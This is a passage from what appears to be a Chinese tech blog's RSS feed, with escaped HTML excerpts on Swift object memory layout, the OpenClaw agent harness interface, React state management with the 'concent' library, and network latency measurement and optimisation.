&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;init&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;实例内存布局：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;偏移量&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;大小&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0x0-0x7&lt;/td&gt;
&lt;td&gt;isa_t isa&lt;/td&gt;
&lt;td&gt;8字节&lt;/td&gt;
&lt;td&gt;指向类对象，包含优化的位域信息&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x8-0x17&lt;/td&gt;
&lt;td&gt;String name&lt;/td&gt;
&lt;td&gt;16字节&lt;/td&gt;
&lt;td&gt;Swift String结构（64位系统）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x18&lt;/td&gt;
&lt;td&gt;Bool isMale&lt;/td&gt;
&lt;td&gt;1字节&lt;/td&gt;
&lt;td&gt;布尔值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x19-0x1F&lt;/td&gt;
&lt;td&gt;(padding)&lt;/td&gt;
&lt;td&gt;7字节&lt;/td&gt;
&lt;td&gt;Swift编译器根据下一个字段（Int，8字节对齐要求）自动插入填充，确保Int字段从8的倍数地址开始&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x20-0x27&lt;/td&gt;
&lt;td&gt;Int age&lt;/td&gt;
&lt;td&gt;8字节&lt;/td&gt;
&lt;td&gt;64位整数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x28-0x2F&lt;/td&gt;
&lt;td&gt;(padding)&lt;/td&gt;
&lt;td&gt;8字节&lt;/td&gt;
&lt;td&gt;最终内存对齐填充&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;关键特性：&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>OpenClaw 源码导读（三）：Agent Harness — 为"每一家 LLM 都能兜住"而生的执行管线</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-agent-harness/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-agent-harness/</guid><description>&lt;blockquote&gt;
&lt;p&gt;系列第一篇把 OpenClaw 的架构地图摊开，第二篇深入 Gateway 控制平面。这一篇，我们钻进整个项目的心脏——&lt;code&gt;src/agents/&lt;/code&gt;，看 OpenClaw 怎么处理最复杂的一件事：&lt;strong&gt;当 Gateway 接到一条用户消息之后，怎么把它变成一轮真正的 LLM turn + Tool 循环&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;这一层代码的体量和复杂度非常惊人：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;src/agents/pi-embedded-runner/run.ts&lt;/code&gt; 单文件 &lt;strong&gt;2160 行&lt;/strong&gt;，是整个 agent 循环的驱动器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;src/agents/pi-embedded-runner/compact.ts&lt;/code&gt; &lt;strong&gt;1148 行&lt;/strong&gt;，专门处理上下文压缩。&lt;/li&gt;
&lt;li&gt;整个 &lt;code&gt;src/agents/&lt;/code&gt; 目录有 &lt;strong&gt;830+ 个文件&lt;/strong&gt;，光 &lt;code&gt;anthropic-*.ts&lt;/code&gt; 就有近 20 个（为了 Messages API 的各种 edge case）。&lt;/li&gt;
&lt;li&gt;同时支持 &lt;strong&gt;Anthropic、OpenAI、Google Gemini、Bedrock、Vertex、OpenRouter、Z.AI/GLM、MiniMax、Qwen、Ollama、Kilocode&lt;/strong&gt; 等十多个 provider。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但这些&amp;quot;量&amp;quot;的背后，是一个&lt;strong&gt;只有一个接口的核心抽象：AgentHarness&lt;/strong&gt;。本文就从这个抽象出发，一路看到 2160 行循环如何处置真实世界里十几类失败。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="一harness-抽象只有一个-runattempt"&gt;一、Harness 抽象：只有一个 &lt;code&gt;runAttempt&lt;/code&gt;&lt;/h2&gt;
&lt;h3 id="1-为什么不用-langchain-风格的agent-framework"&gt;1. 为什么不用 LangChain 风格的&amp;quot;Agent Framework&amp;quot;&lt;/h3&gt;
&lt;p&gt;读过 LangChain 或 CrewAI 的人第一眼会期望看到 &lt;code&gt;AgentExecutor&lt;/code&gt;、&lt;code&gt;AgentChain&lt;/code&gt;、&lt;code&gt;Memory&lt;/code&gt;、&lt;code&gt;Callback&lt;/code&gt;、&lt;code&gt;Tool&lt;/code&gt; 这些类。OpenClaw 里&lt;strong&gt;一个都没有&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;它的选择是：&lt;strong&gt;把整个 agent 循环当成一个黑盒&lt;/strong&gt;，对外只暴露一个接口：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-30:39:src/agents/harness/types.ts" data-lang="30:39:src/agents/harness/types.ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;type&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;AgentHarness&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;label&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;pluginId?&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;supports&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;ctx&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;AgentHarnessSupportContext&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;AgentHarnessSupport&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;runAttempt&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;AgentHarnessAttemptParams&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Promise&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;AgentHarnessAttemptResult&lt;/span&gt;&amp;gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;compact&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;AgentHarnessCompactParams&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Promise&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;AgentHarnessCompactResult&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;|&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;undefined&lt;/span&gt;&amp;gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;reset&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;params&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;AgentHarnessResetParams&lt;/span&gt;)&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Promise&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;void&lt;/span&gt;&amp;gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;dispose&lt;/span&gt;&lt;span style="color:#f92672"&gt;?&lt;/span&gt;()&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Promise&lt;/span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;void&lt;/span&gt;&amp;gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;五个方法，其中三个可选：&lt;/p&gt;</description></item><item><title>状态管理工程化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-014/</link><pubDate>Thu, 07 Aug 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-014/</guid><description>&lt;blockquote&gt;
&lt;p&gt;状态管理是一个前端界老生常谈的话题了，所有前端框架的发展历程中都离不开状态管理的迭代与更替，对于react来说呢，整个状态管理的发展也随着react架构的变更和新特性的加入而不停的做调整，作为一个一起伴随react成长了快5年的开发者，经历过reflux、redux、mobx，以及其他redux衍生方案dva、mirror、rematch等等后，我觉得它们都不是我想要的状态管理的终极形态，所以为了打造一个和react结合得最优雅、使用起来最简单、运行起来最高效的状态管理方案，踏上了追梦旅途。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="为何需要状态管理"&gt;为何需要状态管理&lt;/h2&gt;
&lt;p&gt;为何需要在前端引用里引入状态管理，基本上大家都达成了共识，在此我总结为3点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;随着应用的规模越来越大，功能越来越复杂，组件的抽象粒度会越来越细，在视图中组合起来后层级也会越来越深，能够方便的&lt;strong&gt;跨组件共享状态&lt;/strong&gt;成为迫切的需求。&lt;/li&gt;
&lt;li&gt;状态也需要按模块切分，状态的变更逻辑背后其实就是我们的业务逻辑，将其抽离出来能够彻底&lt;strong&gt;解耦ui和业务&lt;/strong&gt;，有利于逻辑复用，以及持续的维护和迭代。&lt;/li&gt;
&lt;li&gt;状态如果能够被集中的管理起来，并合理的派发有利于组件&lt;strong&gt;按需更新&lt;/strong&gt;，缩小渲染范围，从而提高渲染性能&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="已有状态管理方案现状"&gt;已有状态管理方案现状&lt;/h2&gt;
&lt;h3 id="redux"&gt;redux&lt;/h3&gt;
&lt;p&gt;遵循react不可变思路的状态管理方案，无论从git的star排名还是社区的繁荣度，首推的一定是&lt;code&gt;redux&lt;/code&gt;这个react界状态管理一哥，约束使用唯一路径&lt;code&gt;reducer&lt;/code&gt;纯函数去修改store的数据，从而达到整个应用的状态流转清晰、可追溯。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-014/image-01.png"&gt;&lt;/p&gt;
&lt;p&gt;image.png&lt;/p&gt;
&lt;h3 id="mbox"&gt;mbox&lt;/h3&gt;
&lt;p&gt;遵循响应式的后期之秀&lt;code&gt;mbox&lt;/code&gt;，提出了&lt;code&gt;computed&lt;/code&gt;、&lt;code&gt;reaction&lt;/code&gt;的概念，其官方的口号就是&lt;strong&gt;任何可以从应用程序状态派生的内容都应该派生出来&lt;/strong&gt;，通过将原始的普通json对象转变为可观察对象，我们可以直接修改状态，&lt;code&gt;mbox&lt;/code&gt;会自动驱动ui渲染更新，因其响应式的理念和&lt;code&gt;vue&lt;/code&gt;很相近，在&lt;code&gt;react&lt;/code&gt;里搭配&lt;code&gt;mobx-react&lt;/code&gt;使用后，很多人戏称&lt;code&gt;mobx&lt;/code&gt;是一个将&lt;code&gt;react&lt;/code&gt;变成了类&lt;code&gt;vue&lt;/code&gt;开发体验的状态管理方案。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-014/image-02.png"&gt;&lt;/p&gt;
&lt;p&gt;image.png&lt;/p&gt;
&lt;p&gt;当然因为&lt;code&gt;mbox&lt;/code&gt;操作数据很方便，不满足大型应用里对状态流转路径清晰可追溯的诉求，为了约束用户的更新行为，配套出了一个&lt;code&gt;mobx-state-tree&lt;/code&gt;，总而言之，&lt;code&gt;mobx&lt;/code&gt;成为了响应式的代表。&lt;/p&gt;
&lt;h3 id="其他"&gt;其他&lt;/h3&gt;
&lt;p&gt;剩下的状态管理方案，主要有3类。&lt;/p&gt;
&lt;p&gt;一类是不满足&lt;code&gt;redux&lt;/code&gt;代码冗余啰嗦，接口不够友好等缺点，进而在&lt;code&gt;redux&lt;/code&gt;之上做2次封装，典型的代表国外的有如&lt;code&gt;rematch&lt;/code&gt;，国内有如&lt;code&gt;dva&lt;/code&gt;、&lt;code&gt;mirror&lt;/code&gt;等，我将它们称为&lt;code&gt;redux&lt;/code&gt;衍生的家族作品，或者是解读了&lt;code&gt;redux&lt;/code&gt;源码，整合自己的思路重新设计一个库，如&lt;code&gt;final-state&lt;/code&gt;、&lt;code&gt;retalk&lt;/code&gt;、&lt;code&gt;hydux&lt;/code&gt;等，我将它们称为类&lt;code&gt;redux&lt;/code&gt;作品。&lt;/p&gt;
&lt;p&gt;一类是走响应式道路的方案，和&lt;code&gt;mobx&lt;/code&gt;一样，劫持普通状态对象转变为可观察对象，如&lt;code&gt;dob&lt;/code&gt;，我将它们称为类&lt;code&gt;mobx&lt;/code&gt;作品。&lt;/p&gt;
&lt;p&gt;剩下的就是利用&lt;code&gt;react context api&lt;/code&gt;或者最新的&lt;code&gt;hook&lt;/code&gt;特性，主打轻量，上手简单，概念少的方案，如&lt;code&gt;unstated-next&lt;/code&gt;，&lt;code&gt;reactn&lt;/code&gt;、&lt;code&gt;smox&lt;/code&gt;、&lt;code&gt;react-model&lt;/code&gt;等。&lt;/p&gt;
&lt;h2 id="我心中的理想方案"&gt;我心中的理想方案&lt;/h2&gt;
&lt;p&gt;上述相关的各种方案，都各自在一定程度上能满足我们的需求，但是对于追求完美的水瓶座程序猿，我觉得它们终究都不是我理想的方案，它们或小而美、或大而全，但还是不够强，不够友好，所以决定开始自研状态管理方案。&lt;/p&gt;
&lt;p&gt;我知道小和 美、全、强本身是相冲突的，我能接受一定量的大，gzip后10kb到20kb都是我接受的范围，在此基础上，去逐步地实现美、全、强，以便达到以下目的，从而体现出和现有状态管理框架的差异性、优越性。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;让新手使用的时候，无需了解新的特性api，无感知状态管理的存在，使其遁于无形之中，仅按照react的思路组织代码，就能享受到状态管理带来的福利。&lt;/li&gt;
&lt;li&gt;让老手可以结合对状态管理的已有认知来使用新提供的特性api，还原各种社区公认的最佳实践，同时还能向上继续探索和提炼，挖掘状态管理带来的更多收益。&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;react&lt;/code&gt;有了&lt;code&gt;hook&lt;/code&gt;特性之后，让class组件和function组件都能够享有一致的思路、一致的api接入状态管理，不产生割裂感。&lt;/li&gt;
&lt;li&gt;在保持以上3点的基础上，让用户能够使用更精简且更符合思维直觉的组织方式书写代码，同时还能够获得巨大的性能提升收益。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了达成以上目标，立项&lt;code&gt;concent&lt;/code&gt;，将其定义为一个&lt;strong&gt;可预测、零入侵、渐进式、高性能的增强型状态管理方案&lt;/strong&gt;，期待能把他打磨成为一个真真实实让用户用起来感觉到美丽、全面、强大的框架。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;说人话就是：理解起来够简单、代码写起来够优雅、工程架构起来够健壮、性能用起来够卓越&amp;hellip;&amp;hellip; ^_^&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-014/image-03.png"&gt;&lt;/p&gt;
&lt;p&gt;concent.png&lt;/p&gt;
&lt;h3 id="可预测"&gt;可预测&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;react&lt;/code&gt;是一个基于&lt;code&gt;pull based&lt;/code&gt;来做变化侦测的ui框架，对于用户来说，需要显式的调用&lt;code&gt;setState&lt;/code&gt;来让&lt;code&gt;react&lt;/code&gt;感知到状态变化，所以&lt;code&gt;concent&lt;/code&gt;遵循react经典的不可变原则来体现可预测，不使用劫持对象将转变为可观察对象的方式来感知状态变化（要不然又成为了一个类&lt;code&gt;mobx&lt;/code&gt;&amp;hellip;&amp;hellip;）, 也不使用时全局&lt;code&gt;pub&amp;amp;sub&lt;/code&gt;的模式来驱动相关视图更新，同时还要配置各种&lt;code&gt;reselect&lt;/code&gt;、&lt;code&gt;redux-saga&lt;/code&gt;等&lt;a href="https://cloud.tencent.com/product/message-queue-catalog?from_column=20065&amp;amp;from=20065"&gt;中间件&lt;/a&gt;来解决计算缓存、异步action等等问题（如果这样，岂不是又迈向了一个redux全家桶轮子的不归路&amp;hellip;.. ）&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;吐槽一下：redux粗放的订阅粒度在组件越来越多，状态越来越复杂的时候，经常因为组件订阅了不需要的数据而造成冗余更新，而且各种手写mapXXXToYYY很烦啊有木有啊有木有，伤不起啊伤不起&amp;hellip;&amp;hellip;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="零入侵"&gt;零入侵&lt;/h3&gt;
&lt;p&gt;上面提到了期望新手仅按照react的思路组织代码，就能够享受到状态管理带来的福利，所以必然只能在&lt;code&gt;setState&lt;/code&gt;之上做文章，其实我们可以把&lt;code&gt;setState&lt;/code&gt;当做一个下达渲染指令重要入口（除此之外，还有&lt;code&gt;forceUpdate&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-014/image-04.png"&gt;&lt;/p&gt;
&lt;p&gt;setState，下达更新指令&lt;/p&gt;
&lt;p&gt;仔细看看上图，有没有发现有什么描述不太准确的地方，我们看看官方的&lt;code&gt;setState&lt;/code&gt;函数签名描述:&lt;/p&gt;
&lt;p&gt;代码语言：txt&lt;/p&gt;
&lt;p&gt;AI代码解释&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;setState&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;K &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; keyof S&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; state: ((prevState: Readonly&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;S&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;, props: Readonly&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;P&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; (Pick&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;S, K&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; S &lt;span style="color:#f92672"&gt;|&lt;/span&gt; null)) &lt;span style="color:#f92672"&gt;|&lt;/span&gt; (Pick&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;S, K&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; S &lt;span style="color:#f92672"&gt;|&lt;/span&gt; null),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; callback&lt;span style="color:#960050;background-color:#1e0010"&gt;?&lt;/span&gt;: () &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; void
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;): void;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;通过签名描述，我们可以看出传递给&lt;code&gt;setState&lt;/code&gt;的是一个部分状态(片段状态)，实际上我们在调用&lt;code&gt;setState&lt;/code&gt;也是经常这么做的，修改了谁就传递对应的&lt;code&gt;stateKey&lt;/code&gt;和值。&lt;/p&gt;</description></item><item><title>网络延迟和丢包</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/</guid><description>&lt;h3 id="1什么是延迟呢"&gt;1、什么是延迟呢？&lt;/h3&gt;
&lt;p&gt;延迟其实就是我们在网页浏览或者使用应用时，从我们点击请求到服务器返回结果给我们之间的时间差。就像你在跟朋友打电话，你说完话后，朋友听到并回应你所说话的时间差一样。&lt;/p&gt;
&lt;p&gt;我们的最终目标是创建一个系统，让这个时间差变得尽可能短，也就是实现零延迟。但现实世界中，有各种各样的问题会导致系统出现延迟。如果系统的延迟很低，那么我们请求得到响应的时间就会很短。每次你在浏览器中输入网址或者点击一个链接，浏览器都会向服务器发出一个请求信号，然后服务器需要处理这个请求，获取需要的信息，最后把这些信息返回给你的浏览器。整个过程中就会有一些时间差，这就是延迟。所以，我们要不断努力降低延迟，提高系统的响应速度。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="2延迟是怎么回事呢"&gt;2、延迟是怎么回事呢？&lt;/h3&gt;
&lt;p&gt;延迟其实就是你在请求后需要等待的时间，就像等待快递送到家门一样。来看个例子，更容易理解它是怎么运作的。&lt;/p&gt;
&lt;p&gt;想象你正在和一个电子商务网站（比如淘宝）互动，你喜欢一个商品，然后把它加入购物车。现在，当你点击“添加到购物车”按钮时，下面的事情会依次发生：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;你点击了“添加到购物车”按钮，这时就像你启动了一个计时器，浏览器开始向服务器发请求。&lt;/li&gt;
&lt;li&gt;服务器收到请求，然后开始处理它，就像你的快递订单到了快递中心一样。&lt;/li&gt;
&lt;li&gt;服务器处理完后，回应你的请求，信息到达你的浏览器，商品成功添加到购物车中，就像你的包裹送到了家门口一样。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;你可以想象在第一步按下了计时器的启动按钮，然后在最后一步停下，这段时间就是延迟。希望这个例子能让你更容易理解延迟是如何运作的。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-02.webp"&gt;&lt;/p&gt;
&lt;h3 id="3延迟都是怎么来的呢"&gt;3、延迟都是怎么来的呢？&lt;/h3&gt;
&lt;p&gt;现在，你应该已经理解了要点，但是你知道是什么造成了延迟吗？网络中的延迟受多种因素影响，它们在确定延迟的具体数值时扮演着关键角色。其中一个主要因素是出站呼叫。回到之前添加购物车的例子，当你点击浏览器上的按钮时，请求会发送到后端的某个服务器，这个服务器可能会在内部调用多个服务来进行计算（可能是同时或者按顺序），然后等待它们的响应或将它们汇总。所有这些因素都会增加呼叫的延迟。但总结起来，主要由以下几个因素引起：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;传输介质：&lt;/strong&gt; 传输介质指的是信息在起点和终点之间的物理路径。系统的延迟会取决于用于传输请求的介质类型。广域网、光纤电缆等传输介质都广泛应用，但每种介质都有自己的限制，这会影响延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传播延迟：&lt;/strong&gt; 这指的是数据包从一个源传播到另一个源所需的时间。系统的延迟很大程度上取决于通信节点之间的距离。节点距离越远，系统的延迟就会越高。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路由器：&lt;/strong&gt; 路由器在通信中扮演着重要的角色，它们需要一些时间来分析数据包的标头信息。延迟取决于路由器处理请求的效率。每一次路由器到路由器的跳跃都会增加系统的延迟。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;存储延迟：&lt;/strong&gt; 系统的延迟还受到所使用的存储系统类型的影响，因为处理和返回数据可能需要一些时间。因此，访问存储中的数据会增加系统的延迟。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="4如何测量延迟"&gt;4、如何测量延迟？&lt;/h3&gt;
&lt;p&gt;要量化延迟其实很简单，我们有几种常用的方法，让我们来看看最常见的三种：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ping（网络探测）：&lt;/strong&gt; Ping是测量延迟最常用的工具之一。它的原理是向目标地址发送一个小数据包，然后查看接收到响应所需的时间。更快的Ping意味着连接更敏捷，响应更迅速。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-03.webp"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Traceroute（路径跟踪）：&lt;/strong&gt; Traceroute是另一个用于测试延迟的工具。它也使用数据包，但不止如此，它还会逐一记录数据包从源到目的地经过的每个中间节点所需的时间。这有助于识别网络中的延迟点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MTR（网络诊断工具）：&lt;/strong&gt; MTR是Ping和Traceroute的超级组合。MTR提供了详尽的报告，列出了从一个端点到另一个端点所需的每个网络节点的信息。这份报告通常包括了各种细节，比如丢包率、平均延迟等，非常有助于分析网络性能。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="5延迟优化"&gt;5、延迟优化&lt;/h3&gt;
&lt;p&gt;延迟是系统性能的绊脚石，所以我们需要采取一些措施来进行优化。下面是一些简单又实用的方法，可以帮助我们减少延迟：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;采用HTTP/2：&lt;/strong&gt; 使用HTTP/2协议可以显著减少延迟。它支持并行传输，最大程度地减少了数据从发送方到接收方的往返次数，这对于降低延迟非常有效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;减少外部HTTP请求：&lt;/strong&gt; 第三方服务会增加延迟。通过减少外部HTTP请求的数量，我们可以提高系统的响应速度和质量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用CDN：&lt;/strong&gt; 内容分发网络（CDN）被证明能够减少延迟。CDN会在全球多个位置缓存资源，从而减少请求和响应的传输时间。这意味着可以从更接近客户端的缓存位置获取请求，而不必每次都回到原始服务器。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-014/image-04.webp"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;浏览器缓存：&lt;/strong&gt; 利用浏览器缓存，可以减少向服务器发送的请求次数，从而降低延迟。浏览器会在本地缓存特定资源，这对于提高页面加载速度很有帮助。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优化磁盘I/O：&lt;/strong&gt; 为了减小磁盘I/O的影响，我们需要优化算法，尽量减少频繁的磁盘写入操作。可以考虑使用直写式缓存、内存数据库，或者在适当的情况下进行写入合并，还可以考虑使用快速存储系统，比如SSD。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;作为开发人员，我们还可以在应用程序级别采取一些方法来优化延迟：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;避免低效算法：&lt;/strong&gt; 高效的算法是代码中延迟的主要来源之一。要尽量避免不必要的循环或昂贵的嵌套操作。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免锁定的设计模式：&lt;/strong&gt; 锁定会引入延迟，因此我们应该采用避免锁定的设计模式，特别是在多线程环境中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;采用异步编程模型：&lt;/strong&gt; 异步编程可以更好地利用硬件资源，因为它避免了阻塞操作，从而减少等待时间。&lt;/li&gt;
